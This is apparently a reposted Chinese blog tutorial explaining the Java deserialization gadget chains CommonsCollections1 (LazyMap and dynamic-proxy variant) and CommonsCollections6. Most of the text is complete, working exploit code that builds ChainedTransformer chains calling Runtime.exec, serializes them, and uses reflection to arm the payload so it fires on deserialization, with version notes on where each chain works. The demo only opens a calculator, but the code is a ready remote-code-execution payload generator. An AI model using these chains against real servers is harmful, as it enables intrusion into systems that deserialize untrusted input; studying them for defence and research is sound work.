当前位置:   article > 正文

Java反序列化-(LazyMap)CC1链与CC6链_java反序列化cc1到cc6

java反序列化cc1到cc6

(LazyMap)CC1链

原版的CC1链:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
  • 1

可以发现对比之前的 TransformMap版本的CC1链,从这里开始就不一样了
image.png

分析LazyMap.get()

直接进入到LazyMap类去分析get方法
image.png
可以发现transfor方法和之前的 InvokerTransformer类中的transfor方法很是相似
image.png
java中父类可以调用子类的方法
image.png
这个时候追踪这个 factory 方法的来源
image.png
这里是可控的,就不细说了,类似TransformedMapCC1链的方法
image.png
编写Exp代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, invokerTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,r);


    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

运行之后可以看见命令执行成功,说明了这条链是可行的
image.png
利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
image.png

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,chainedTransformer);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

image.png

向上寻找readObject入口类

我们知道LazyMap使用的是get方法,然后我们在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法
image.png
构造exp代码,我们可以控制 memberValues.get(member) 中的memberValues变量
image.png

这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口
image.png
这意味着我们可以通过动态代理调用invoke方法
image.png

  • ClassLoader loader 类的加载器
  • Class<?>[] interfaces 是一个数组,用于指定动态代理对象要实现的接口
  • InvocationHandler h 处理动态代理对象方法调用的处理器

代理的对象且实例化代码

InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
  • 1
  • 2
  • 3

最终exp代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);


        Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        //转InvocationHandler类型是为了能够调用处理程序实现的接口
        InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);


        Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
        InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

        serialize(o);
        unserialize("ser.bin");

    }

    public static void  serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60

成功命令执行
image.png

总结

低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。
image.png

CC6链分析

官方的CC6链Payload:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java
  • 1

对比CC1链就是这里不同
image.png\

xxx.readObject()
	HashMap.put()
	HashMap.hash()
		TiedMapEntry.hashCode()
		TiedMapEntry.getValue()
			LazyMap.get()
				ChainedTransformer.transform()
					InvokerTransformer.transform()
						Runtime.exec()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

TiedMapEntry

我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
image.png

getValue

可以发现TiedMapEntry的构造方法
image.png
再找到这个类的getValue方法,这个方法会调用map.get(key)方法。也就是说我们可以将构造好的lazymap的恶意内容放入到这里

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        tiedMapEntry.getValue();

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

可以看见命令执行成功
image.png
代码理解,看图
image.png
这里需要应该key,那么随便给一个,这里给了一个null空值。

hashCode

在这里可以发现,hashcode()方法调用了getValue()的方法
image.png
在 Java 反序列化当中,看见了 hashCode()后基本用这一条:

hashMap.put(Object key,Object value);
  • 1

我们将 tiedMapEntry变量带入到 key中,然后value随便给
image.png

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

运行代码之后可以看见命令执行
image.png
put自动执行了hashCode,相当于调用了getValue方法

反序列化构造payload

序列化与反序列化代码:

  public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

我们知道在序列化执行命令执行是错误的,目标是为了服务器在反序列化对象的时候才能够命令执行。所以我们需要在序列化之前修改代码让它不执行命令,再反序列化的时候能够命令执行。

利用反射修改LazyMap类中的factory字段

protected final Transformer factory;
  • 1
  • Transformer 是一个接口或类的类型,表示这个字段的类型是 Transformer。
  • factory 字段名

在执行命令之前,修改这行代码,让它不能命令执行

Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
  • 1

后面操作LazayMap的class,进行反射操作factory字段名

 Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
  • 1
  • 2
  • 3
  • 4

类的类型为lazymap,字段名为chainedTransformer
image.png
从而构造exp为以下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);


        serialize(hashMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51

但是还不能执行命令

让map类型中的key为false

来到LazyMap 的 get 方法中,可以看见如果key为false,就会调用这个 factory.transform()方法
image.png
所以我们要删除map类型里面的key值内容,让它为false。
在xx.put()下添加这行代码:

hashMap.remove(null);
  • 1

最终exp

从而构造最终exp代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
        hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);


        //serialize(hashMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52

序列化代码后,只进行反序列化ser.bin文件,可以看见命令执行成功
image.png

总结

总的流程应该是:CC1+URLDNS(异曲同工)
这条CC6链的好处是JDK版本不受限制,但是仅限于 是commons-collections 3.2.1的版本或低于它的版本。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/694682
推荐阅读
相关标签
  

闽ICP备14008679号